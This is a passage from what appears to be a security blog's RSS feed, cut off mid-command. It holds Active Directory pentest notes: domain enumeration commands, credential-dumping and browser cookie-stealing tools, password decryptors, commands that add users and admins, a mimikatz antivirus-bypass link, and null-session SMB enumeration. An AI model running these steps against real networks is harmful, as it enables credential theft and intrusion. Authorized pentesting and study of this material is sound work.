src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_55751267/article/details/127990619" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/m0_55751267/article/details/127990619&lt;/a&gt; explains the principles behind Silver and Golden Tickets.&lt;/p&gt;&#10;&lt;p&gt;This blog post: &lt;a class="link" href="https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Mimikatz antivirus bypass: &lt;a class="link" href="https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;References:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround" target="_blank" rel="noopener"&#10; &gt;https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround&lt;/a&gt;&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: A Basic Workflow</title><link>http://xtpol.com/p/active-directory-basic-workflow/</link><pubDate>Sun, 17 Nov 2024 12:00:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-basic-workflow/</guid><description>&lt;h2 id="internal-network-information-gathering"&gt;&lt;a href="#internal-network-information-gathering" class="header-anchor"&gt;&lt;/a&gt;Internal Network Information Gathering&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. User list net user /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows user list: analyze email users; internal [domain] email users are usually internal [domain] users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Process list tasklist /svc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Analyze antivirus/security monitoring tools, email clients, VPN, FTP, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Service list&#9;tasklist /svc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Security-related services [determine whether they can be manually enabled or disabled] and vulnerable services [permissions/vulnerabilities]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. Port list&#9;netstat -ano&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common services/applications on open ports [anonymous access/permissions/vulnerabilities, etc.]; use ports for information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. Patch list&#9;systeminfo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Analyze Windows patches and vulnerabilities in third-party software [Java/Oracle/Flash, etc.]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. Local shares&#9;smbclient -L ip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9; net user \\ip\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local share list/access permissions and domain shares accessed by the local host/access permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7. Analyze the current user&amp;#39;s habits&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;History, favorites, documents, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8. Obtain the current user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-WCMDump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimiDbg&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LaZagne&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NirLauncher )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;quarkspwdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Linux&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimipenguin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LaZagne&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Browsers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HackBrowserData&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpWeb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpDPAPI&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;360SafeBrowsergetpass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BrowserGhost&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Browser-cookie-steal (steal browser cookies)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Navicat passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Versions: Navicat 11 or 12&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Method: https://blog.csdn.net/CCESARE/article/details/104746596&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decryption script: https://github.com/tianhe1986/FatSmallTools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/HyperSine/how-does-navicat-encrypt-password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Xshell and Xftp passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/dzxs/Xdecrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mRemoteNG passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/kmahyyg/mremoteng-decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/haseebT/mRemoteNG-Decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common port scanning tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;masscan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zmap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S Scanner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Custom scripts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;……&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Internal network topology analysis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DMZ&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Management network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Production network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Test network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common information-gathering commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all ------&amp;gt; Query the local IP range, domain, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# net&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user ------&amp;gt; List local users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators ------&amp;gt; List local administrators [usually includes domain users]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /domain ------&amp;gt; Query domain users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group /domain ------&amp;gt; Query groups in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;domain admins&amp;#34; /domain ------&amp;gt; Query the Domain Admins group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators /domain ------&amp;gt; List domain administrators logged on to the local host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators workgroup\user001 /add -----&amp;gt; Add a domain user to the local host net group &amp;#34;Domain controllers&amp;#34; -------&amp;gt; List domain controllers (if there are multiple)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net view ------&amp;gt; List machines in the same domain net view /domain ------&amp;gt; List domains&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net view /domain:domainname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# dsquery&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery computer domainroot -limit 65535 &amp;amp;&amp;amp; net group &amp;#34;domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;computers&amp;#34; /domain ------&amp;gt; List all machine names in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery computer ------&amp;gt; List machine names&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery user domainroot -limit 65535 &amp;amp;&amp;amp; net user /domain------&amp;gt; List all usernames in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery subnet ------&amp;gt; List subnet divisions in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery group &amp;amp;&amp;amp; net group /domain ------&amp;gt; List groups in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery ou ------&amp;gt; List organizational units in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dsquery server &amp;amp;&amp;amp; net time /domain------&amp;gt; List domain controllers in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Third-party information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NETBIOS information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Null-session information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Vulnerability information gathering, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="common-commands"&gt;&lt;a href="#common-commands" class="header-anchor"&gt;&lt;/a&gt;Common Commands&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a local account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /add jerry 123456&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a domain user from a domain member (administrator privileges required)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /add jerry 123456 /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a domain member on the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user /add jerry 123456&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After joining the domain, many functions are restricted for standard accounts. The administrator is the domain controller administrator, making many operations difficult.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net localgroup administrators test\jerry /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This can elevate user jerry in the test domain to local administrator privileges.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Because UAC prevents local administrator privileges from taking effect immediately, sign out and log back in.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When running a local command that requires administrator privileges, select Yes or No at the prompt.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="list-anonymously-accessible-smb-shares"&gt;&lt;a href="#list-anonymously-accessible-smb-shares" class="header-anchor"&gt;&lt;/a&gt;List Anonymously Accessible SMB Shares&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //&amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //&amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; # Enumerate SMB shares accessible through a null session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;a&amp;#39; -p &amp;#39;&amp;#39; # Enumerate anonymously accessible SMB shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; 192.168.139.153 &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; 192.168.139.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H 192.168.139.153 &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H 192.168.139.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //192.168.139.153 &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //192.168.139.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 192.168.139.153 -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 192.168.139.153 -u &amp;#39;a&amp;#39; -p 